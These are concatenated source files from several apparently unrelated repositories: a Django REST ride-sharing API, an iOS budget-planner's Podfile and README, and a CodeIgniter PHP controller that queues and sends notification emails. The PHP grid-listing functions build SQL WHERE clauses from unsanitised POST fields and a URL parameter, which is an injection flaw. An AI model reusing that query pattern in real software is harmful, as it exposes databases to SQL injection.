request, view): """ Let object only to member owners. """ obj = view.get_object() return obj.has_object_permission(request, view, obj) def has_object_permission(self, request, view, obj): """ Allow access only if member is owned by the requesting user. """ return request.user == obj.user ``` __init__.py ```from cride.circles.serializers.circles import * from cride.circles.serializers.memberships import * ``` __init__.py ```from cride.circles.managers.invitations import InvitationManager ``` __init__.py ```from cride.rides.models.rides import * from cride.rides.models.ratings import * ``` __init__.py ```from cride.circles.views.circles import CircleViewSet from cride.circles.views.memberships import MembershipViewSet ``` ratings.py ```"""Rating model""" # Django from django.db import models # Utilities from cride.utils.models import CRideModel class Rating(CRideModel): """Model to manage user qualifications of a ride""" rating_user = models.ForeignKey('users.User', on_delete=models.SET_NULL, null=True, help_text='User that emits the rating', related_name='rating_user') rated_user = models.ForeignKey('users.User', on_delete=models.SET_NULL, null=True, help_text='User that receives the rating.', related_name='rated_user') circle = models.ForeignKey('circles.Circle', on_delete=models.CASCADE) ride = models.ForeignKey('rides.Ride', on_delete=models.CASCADE, related_name='rated_ride') comments = models.TextField(max_length=1000, blank=True) rating = models.PositiveSmallIntegerField(default=1) def __str__(self): """String model representation""" return '@{} rated {} @{}'.format(self.rating_user.username, self.rating, self.rated_user.username) ``` __init__.py ```from cride.rides.permissions.rides import * ``` periodic_tasks.py ```"""Beat tasks configuration""" # Django from django.utils import timezone # Celery from cride.taskapp.celery import app from celery import shared_task from celery.schedules import crontab # Models from cride.rides.models import Ride # Utilities from datetime import timedelta @shared_task(name='disable_finished_rides') def disable_finished_rides(): """Disable finished rides.""" now = timezone.now() offset = now + timedelta(seconds=5) rides = Ride.objects.filter(arrival_date__gte=now, arrival_date__lte=offset, is_active=True) rides.update(is_active=False) app.conf.beat_schedule = { 'disable-finished-rides': { 'task': 'disable_finished_rides', 'schedule': crontab(hour=23) } } ``` circles.py ```"""Circle views""" # Django REST framework from rest_framework import viewsets, mixins # Permissions from rest_framework.permissions import IsAuthenticated from cride.circles.permissions import IsCircleAdmin # Models from cride.circles.models import Circle # Use case from cride.circles.usecases.create_circle import CreateCircleUseCase # Serializers from cride.circles.serializers import CircleModelSerializer # Filters from rest_framework.filters import SearchFilter, OrderingFilter from django_filters.rest_framework import DjangoFilterBackend class CircleViewSet(mixins.CreateModelMixin, mixins.RetrieveModelMixin, mixins.UpdateModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): """ Circle view set """ serializer_class = CircleModelSerializer lookup_field = 'slug_name' # Filters filter_backends = (SearchFilter, OrderingFilter, DjangoFilterBackend) filter_fields = ('verified', 'is_limited') # Search fields search_fields = ('slug_name', 'name') # ordering ordering_fields = ('rides_offered', 'rides_taken', 'name', 'created', 'member_limit') ordering = ('-members__count', '-rides_offered', '-rides_taken') def get_queryset(self): """ Restrict list to public-only. :return: """ queryset = Circle.objects.all() if self.action == 'list': queryset = Circle.objects.filter(is_public=True) return queryset def perform_create(self, serializer): """ Execute use case :param serializer: :return: """ self.execute_use_case(serializer) def execute_use_case(self, serializer): """""" use_case = CreateCircleUseCase( serializer, self.request ) use_case.execute() def get_permissions(self): """ Assign permissions based on action. :return: """ permissions = [IsAuthenticated] if self.action in ['update', 'partial_update']: permissions.append(IsCircleAdmin) return [permission() for permission in permissions] ``` is_account_owner.py ```"""User permissions""" # Django REST Framework from rest_framework.permissions import BasePermission class IsAccountOwner(BasePermission): """ Allow access only to objects owned by the requesting user """ message = 'You aren\'t allowed to view details about this user' def has_object_permission(self, request, view, obj): """ Check obj and user are the same :param request: :param view: :param obj: :return: """ print(request.user, obj) return request.user == obj ``` users.py ```"""User serializers""" # Django rest framework from rest_framework import serializers from rest_framework.authtoken.models import Token from rest_framework.validators import UniqueValidator # Django from django.contrib.auth import authenticate, password_validation from django.core.validators import RegexValidator from django.conf import settings # Models from cride.users.models import User, Profile # Serializers from cride.users.serializers.profiles import ProfileModelSerializer # Tasks from cride.taskapp.tasks import send_confirmation_email # Utilities import jwt class AccountVerificationSerializer(serializers.Serializer): """ User account verification serializer. Handle token data validation. """ token = serializers.CharField() def validate_token(self, data): """ Verify token is valid. :param data: :return: """ try: payload = jwt.decode( data, settings.SECRET_KEY, algorithms=['HS256'], ) except jwt.ExpiredSignatureError as e: raise serializers.ValidationError( 'Verification link has expired.' ) except jwt.PyJWTError as e: raise serializers.ValidationError( 'Invalid token' ) if payload['type'] != 'email_confirmation': raise serializers.ValidationError( 'Invalid token' ) self.context['payload'] = payload return data def save(self, **kwargs): """ Update users verify status :param kwargs: :return: """ payload = self.context['payload'] username = payload['user'] user = User.objects.get(username=username) user.is_verified = True user.save() class UserSignupSerializer(serializers.Serializer): """ User sign up serializer. Handle sign up data validation and user/profile creation. """ email = serializers.EmailField( validators=[UniqueValidator(queryset=User.objects.all())] ) username = serializers.CharField( validators=[UniqueValidator(queryset=User.objects.all())], min_length=4, max_length=20, ) # Phone number phone_regex = RegexValidator( regex=r'\+?1?\d{9,15}$', message='Phone number must be entered in the format: +999999999. Up to 15 digits allowed.' ) phone_number = serializers.CharField( validators=[phone_regex] ) # Password password = serializers.CharField( min_length=8, max_length=64, required=True, ) password_confirmation = serializers.CharField( min_length=8, max_length=64, required=True, ) # Name first_name = serializers.CharField( min_length=2, max_length=30, ) last_name = serializers.CharField( min_length=2, max_length=30, ) def validate(self, attrs): """Verify passwords match.""" password = attrs['password'] password_confirmation = attrs['password_confirmation'] if password != password_confirmation: raise serializers.ValidationError( 'Password doesn\'t match' ) password_validation.validate_password(password) return attrs def create(self, validated_data): """ Handle user and profile creation. :param validated_data: :return: """ validated_data.pop('password_confirmation') user = User.objects.create_user(**validated_data, is_verified=False, is_client=True, ) send_confirmation_email.delay(user.pk) Profile.objects.create( user=user ) return user class UserModelSerializer(serializers.ModelSerializer): """ User model serializer """ profile = ProfileModelSerializer(read_only=True) class Meta: """Meta class.""" model = User fields = ( 'username', 'first_name', 'last_name', 'email', 'phone_number', 'profile' ) class UserLoginSerializer(serializers.Serializer): """ User login serializer. Handle the login request data. """ email = serializers.EmailField( required=True ) password = serializers.CharField( required=True, min_length=8, ) def validate(self, attrs): """ Check credentials """ user = authenticate( username=attrs['email'], password=attrs['password'] ) if not user: raise serializers.ValidationError( 'Invalid credentials' ) if not user.is_verified: raise serializers.ValidationError( 'Account is not active yet' ) self.context['user'] = user return attrs def create(self, validated_data): """Generate or retrieve a token.""" token, created = Token.objects.get_or_create( user=self.context['user'] ) return self.context['user'], token.key ``` __init__.py ```from .apps import UsersAppConfig ``` __init__.py ```from cride.users.permissions.is_account_owner import IsAccountOwner ``` __init__.py ```from cride.circles.permissions.circles import IsCircleAdmin from cride.circles.permissions.memberships import IsActiveCircleMember from cride.circles.permissions.invitations import IsSelfMember ``` circles.py ```"""Circles permissions classes.""" # Django REST Framework from rest_framework.permissions import BasePermission # Models from cride.circles.models import Membership class IsCircleAdmin(BasePermission): """ Allow access. only to circle admins. """ def has_object_permission(self, request, view, obj): """ Verify user have a membership in the obj. :param request: :param view: :param obj: :return: """ try: Membership.objects.get( user=request.user, circle=obj, is_admin=True, is_active=True ) except Membership.DoesNotExist: return False return True ``` circles.py ```"""Circle serializers""" # Django from rest_framework import serializers # Models from cride.circles.models import Circle class CircleModelSerializer(serializers.ModelSerializer): """ Circle model serializer """ members_limit = serializers.IntegerField( required=False, min_value=10, max_value=3200, ) is_limited = serializers.BooleanField( default=False ) class Meta: """ Meta class """ model = Circle fields = ( 'name', 'slug_name', 'about', 'picture', 'members', 'rides_offered', 'rides_taken', 'verified', 'is_public', 'is_limited', 'members_limit', ) read_only_fields = ( 'is_public', 'verified', 'rides_offered', 'rides_taken', ) def validate(self, attrs): """ Ensure both members_limit and is_limited are present. :param attrs: :return: """ members_limit = attrs.get('members_limit', None) is_limited = attrs.get('is_limited', False) method = self.context['request'].method if method == 'POST' or method == 'PUT': if is_limited ^ bool(members_limit): raise serializers.ValidationError( 'If circle is limited, a member limit must be provided' ) elif method == 'PATCH': actual_member_limit = self.instance.members_limit actual_is_limited = self.instance.is_limited if (bool(members_limit) and actual_is_limited is False) or (is_limited and actual_member_limit == 0): raise serializers.ValidationError( 'If circle is limited, a member_limit must be provider and is_limited must be True') return attrs ```
yullee/budget-planner
yullee/budget-planner GTLRGmailService.h ```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailService.h``` PLKPlaidLink.h ```../../../../Plaid/ios/LinkKit.framework/Headers/PLKPlaidLink.h``` README.md ```# budget-planner <img width="1002" alt="screen shot 2019-02-15 at 11 04 15 am" src="https://user-images.githubusercontent.com/31649579/52829831-ab521880-3111-11e9-8142-95293cd96cf6.png"> <img width="1070" alt="screen shot 2019-02-15 at 11 04 27 am" src="https://user-images.githubusercontent.com/31649579/52829844-b6a54400-3111-11e9-867f-7833ab53c567.png"> ``` PLKPlaidLinkViewController.h ```../../../../Plaid/ios/LinkKit.framework/Headers/PLKPlaidLinkViewController.h``` GTLRGmailObjects.h ```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailObjects.h``` GTLRGmailQuery.h ```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailQuery.h``` PLKConfiguration.h ```../../../../Plaid/ios/LinkKit.framework/Headers/PLKConfiguration.h``` Podfile ```platform :ios, '8.0' target 'Planise' do pod 'GoogleAPIClientForREST/Gmail', '~> 1.2.1' pod 'Google/SignIn', '~> 3.0.3' pod 'Plaid' end ``` GTLRGmail.h ```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmail.h```
yumanji/alien-paratext-776
yumanji/alien-paratext-776 notifications.php ```<?php class Notifications extends Controller { function Notifications() { parent::Controller(); } function index() { if($this->redux_auth->logged_in()) { $menu=array('menu' => $this->app_common->get_menu_options()); //print("<pre>");print_r($menu);print("</pre>"); //$this->session->set_userdata('message',"asasassa"); //print_r($this->session->all_userdata()); $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); //print_r($this->redux_auth->profile()); $data['page']='notifications/home_admin'; $profile=$this->redux_auth->profile(); $data['profile']=$profile; $this->load->view('main', $data); } else { redirect(base_url(), 'location'); exit(); } //print ($this->redux_auth->logged_in()); } ####################### # Funcion que permite enviar emails a grupos de usuarios ################## function new_mail() { if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } if($this->input->post('action') && $this->input->post('action')=="send") { $this->load->library('comunicacion'); $tipo_comunicacion = $this->input->post('comm_type'); if(!isset($tipo_comunicacion) || $tipo_comunicacion == '') $tipo_comunicacion = '1'; $registro = array( 'subject' => $this->input->post('subject'), 'from' => $this->config->item('email_from'), 'type' => 5, //'destination_text' => $this->input->post('destination'), 'content' => $this->input->post('content'), 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); if($this->comunicacion->send_general_notification($registro, $tipo_comunicacion)) { $this->session->set_userdata('info_message', 'Mensaje creado.'); } else { $this->session->set_userdata('error_message', 'Error en la creacion del mensaje.'); } redirect(site_url('notifications/new_mail'), 'Location'); exit(); } $this->load->library('ckeditor'); $this->load->helper('ckeditor'); //$menu=array('menu' => $this->app_common->get_menu_options()); //print("<pre>");print_r($menu);print("</pre>"); //$this->session->set_userdata('message',"asasassa"); //print_r($this->session->all_userdata()); $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $editors_code = $this->load->view('editor/main', array('textbox_id' => 'content', 'style' => 'width:100%'), true); //$contenido = $this->load->view('notifications/new_mail', array('editors_code' => $editors_code), true); //print_r($this->redux_auth->profile()); $data['editors_code']=$editors_code; $data['page']='notifications/new_mail'; $profile=$this->redux_auth->profile(); $data['profile']=$profile; $this->load->view('main', $data); //print ($this->redux_auth->logged_in()); } function new_single_mail() { if($this->redux_auth->logged_in()) { $this->load->library('ckeditor'); $this->load->helper('ckeditor'); $menu=array('menu' => $this->app_common->get_menu_options()); //print("<pre>");print_r($menu);print("</pre>"); //$this->session->set_userdata('message',"asasassa"); //print_r($this->session->all_userdata()); $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $editors_code = $this->load->view('editor/main', array('textbox_id' => 'content', 'style' => 'width:100%'), true); $contenido = $this->load->view('notifications/new_single_mail', array('editors_code' => $editors_code), true); //print_r($this->redux_auth->profile()); $data['page']='notifications/new_single_mail'; $profile=$this->redux_auth->profile(); $data['profile']=$profile; $this->load->view('main', $data); } else { redirect(base_url(), 'location'); exit(); } //print ($this->redux_auth->logged_in()); } function create_notification() { $this->load->model('Notifications_model', 'mails', TRUE); $registro = array( 'subject' => 'Mail de prueba', 'from' => $this->config->item('email_from'), 'destination_text' => 'jorge.egalite@gmail.com', 'content' => '<b>texto de prueba</b> enviado desde el "enviador autom&aacute;tico" y creado con un objeto apropiado..<br> ahi vaaaa... <i>adem&aacute;s con HTML y formatos</i>', 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); if($this->mails->createNotificationMessage($registro)) { echo "Mail creado guay"; } else { echo "Mail creado con errores"; } //print("<pre>");print_r($mails);print("</pre>"); echo "Fin"; } function create_single_notification() { $this->load->model('Notifications_model', 'mails', TRUE); $registro = array( 'subject' => $this->input->post('subject'), 'from' => $this->config->item('email_from'), 'destination_text' => $this->input->post('destination'), 'content' => $this->input->post('content'), 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); if($this->mails->createNotificationMessage($registro)) { //echo "Mail creado guay"; $this->session->set_userdata('info_message', 'Mail creado satisfactoriamente y puesto en cola de espera para su env&iacute;o.'); redirect(site_url('notifications'), 'location'); exit(); } else { $this->session->set_userdata('error_message', 'Error en la creaciรณn del email. Imposible su env&iacute;o.'); redirect(site_url('notifications'), 'location'); exit(); } //print("<pre>");print_r($mails);print("</pre>"); echo "Fin"; } function create_single_notification_by_id() { $this->load->model('Notifications_model', 'mails', TRUE); $registro = array( 'subject' => $this->input->post('subject'), 'from' => $this->config->item('email_from'), 'destination_id' => $this->input->post('id_destination'), 'destination_text' => '', 'content' => $this->input->post('content'), 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); if($this->mails->createNotificationMessage($registro)) { //echo "Mail creado guay"; $this->session->set_userdata('info_message', 'Mail creado satisfactoriamente y puesto en cola de espera para su env&iacute;o.'); redirect(site_url('notifications'), 'location'); exit(); } else { echo "Mail creado con errores"; $this->session->set_userdata('error_message', 'Error en la creaciรณn del email. Imposible su env&iacute;o.'); redirect(site_url('notifications'), 'location'); exit(); } //print("<pre>");print_r($mails);print("</pre>"); echo "Fin"; } function automated_send() { $this->load->model('Notifications_model', 'mails', TRUE); $mails = $this->mails->getNextMessages(); //Llamo a la funciรณn que devuelve el objeto resultset y directamente llamo al result_array() sobre รฉl $timestamp = time(); //print_r($mails); exit(); # Recorro el array de mails foreach($mails as $mail) { # Traza de tiempo $mail['content'] .= '<br>&nbsp;<br>&nbsp;<br><h6>id: '.$mail['id'].' - start: '.$timestamp.' - launch: '.time().'</h6>'; $this->email->clear(); $this->email->set_newline("\r\n"); //$this->email->from($mail['from'], $mail['from']); // Direccion de origen y nombre $this->email->from($this->config->item('email_from'), $this->config->item('email_from_desc')); // Direccion de origen y nombre $this->email->to($mail['destination_text']); if($this->config->item('reserve_admin_notification_cc')) $this->email->bcc($this->config->item('reserve_admin_notification_mail')); if($this->config->item('email_reply_to')) $this->email->reply_to($this->config->item('email_reply_to_address')); //$this->email->to('juanjo.nieto@gmail.com'); $this->email->subject($mail['subject']); $this->email->message($mail['content']); if($this->email->send()) { //echo 'Email con id '.$mail['id'].' enviado satisfactoriamente.<br>'; $this->mails->setMessageSended($mail['id']); //Llamo a la funciรณn que devuelve el objeto resultset y directamente llamo al result_array() sobre รฉl } else { //echo 'Error en envio de mail '.$mail['id'].'<br>'; $this->mails->setMessageFailed($mail['id'],$this->email->print_debugger()); } } //print("<pre>");print_r($mails);print("</pre>"); //echo "Fin"; exit(); } # ------------------------------------------------------------------- # Listado general de los envios de mails usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function list_all() { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('mails_visualization_permission'); if(!$panel_permission[$user_group]) { $this->session->set_userdata('error_message','No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true}, {name:'type_desc',index:'type', width:10, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'}, {name:'destination_type_desc', index:'destination_type', width:10, align:'center', editable:true}, {name:'status_description', index:'status', width:10, align:'center', editable:true}, {name:'subject', index:'subject', width:30, align:'center', editable:true}, {name:'active',index:'active', width:5, align:'center'}, {name:'start_process', index:'start_process', width:13, align:'center'}, {name:'end_process', index:'end_process', width:13, align:'center'}, "; $colnames = "'Id','Tipo','Destinatario','Estado Envio','Asunto','Activo','Inicio', 'Fin'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "notifications/jqgrid_list_all", 'title' => 'Listado de comunicaciones', 'default_orderfield' => 'id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '990', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 990; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; $menu_lateral = '';//$this->load->view('reservas_gest/menu_lateral', '', true); //, 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true) $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('notifications/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => $menu_lateral), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_flashdata('returnOkUrl', site_url('notifications/list_all')); $this->session->set_flashdata('returnKoUrl', site_url('notifications/list_all')); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de reservas para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_list_all ($add_params = NULL) { $this->load->model('Notifications_model', 'mails', TRUE); $where = ''; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('mails_visualization_permission'); if(!$panel_permission[$user_group]) { redirect(site_url(), 'Location'); exit(); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } $req_param['where'] = $where; if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];} $data->page = $this->input->post( "page", TRUE ); //print("<pre>");print_r($record_items);exit(); $data->records = $this->mails->get_data_count($req_param,"all"); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->mails->get_data ($req_param, 'none'); $data->rows = $records; //echo "<pre>"; print_r($data->rows); echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # Funcion que muestra el detalle del usuario # ------------------------------------------------------------------- function detail($code) { $this->load->model('Notifications_model', 'mails', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('mails_visualization_permission'); if(!$panel_permission[$user_group]) { redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } # Carga estatus para la vista $array_status = $this->mails->get_status(); # Carga tipos para la vista $array_types = $this->mails->get_types(); # Carga tipos de destinatarios para la vista $array_destination_types = $this->mails->get_destination_types(); # Carga de datos para la vista $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)), true), 'menu' => $this->load->view('menu', '', true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true), //'form_name' => 'formDetail', 'page' => 'notifications/detail', 'code' => $code, 'notification' => $this->mails->get_notification($code), 'array_status' => $array_status, 'array_types' => $array_types, 'array_destination_types' => $array_destination_types, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); /* pintar */ } # ------------------------------------------------------------------- # Listado general de los envios de mails usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function sended($codigo) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('mails_visualization_permission'); if(!$panel_permission[$user_group]) { $this->session->set_userdata('error_message','No tiene permisos para visualizar esa pagina.'); redirect(site_url(), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio $this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id_notification',index:'id_notification', width:1, align:'center',hidden:true}, {name:'type_desc', index:'zz_notification_type.description', width:10, align:'center', editable:true}, {name:'subject', index:'subject', width:25, align:'center', editable:true}, {name:'destination_type_desc', index:'zz_notification_dest_type.description', width:10, align:'center', editable:true}, {name:'destination_text',index:'destination_text', width:25, align:'center'}, {name:'active',index:'active', width:5, align:'center'}, {name:'send',index:'send', width:5, align:'center'}, {name:'start_process', index:'start_process', width:13, align:'center'}, {name:'end_process', index:'end_process', width:13, align:'center'}, {name:'error_count', index:'error_count', width:5, align:'center'}, "; $colnames = "'Id','Tipo','Asunto','Tipo Envio','Destinatario','Activo','Enviado','Inicio', 'Fin','Error'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "notifications/jqgrid_sended/".$codigo, 'title' => 'Listado de emails individuales', 'default_orderfield' => 'id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '990', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 990; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; $menu_lateral = '';//$this->load->view('reservas_gest/menu_lateral', '', true); //, 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true) $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('notifications/list_sended', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => $menu_lateral), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_flashdata('returnOkUrl', site_url('notifications/list_all')); $this->session->set_flashdata('returnKoUrl', site_url('notifications/list_all')); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de reservas para jqGrid en JSON # ------------------------------------------------------------------- # ------------------------------------------------------------------- public function jqgrid_sended ($codigo) { $this->load->model('Notifications_model', 'mails', TRUE); $where = ''; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $panel_permission = $this->config->item('mails_visualization_permission'); if(!$panel_permission[$user_group]) { redirect(site_url(), 'Location'); exit(); } } else { exit(0); } //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if($where !='') $where.=' AND '; $where.= 'id_notification = \''.$codigo.'\''; $req_param['where'] = $where; if(isset($add_params) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];} $data->page = $this->input->post( "page", TRUE ); //print("<pre>");print_r($record_items);exit(); $data->records = $this->mails->get_data_sended_count($req_param,"all"); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->mails->get_data_sended ($req_param, 'none'); $data->rows = $records; //echo "<pre>"; print_r($data->rows); echo json_encode ($data ); exit( 0 ); } } /* End of file welcome.php */ /* Location: ./system/application/controllers/welcome.php */``` informes.php ```<?php class Informes extends Controller { function Informes() { parent::Controller(); //$this->load->helper('flexigrid'); $this->lang->load('reservas'); $this->load->config('facturacion'); } function index() { # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $this->load->view('informes/index', array(), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); 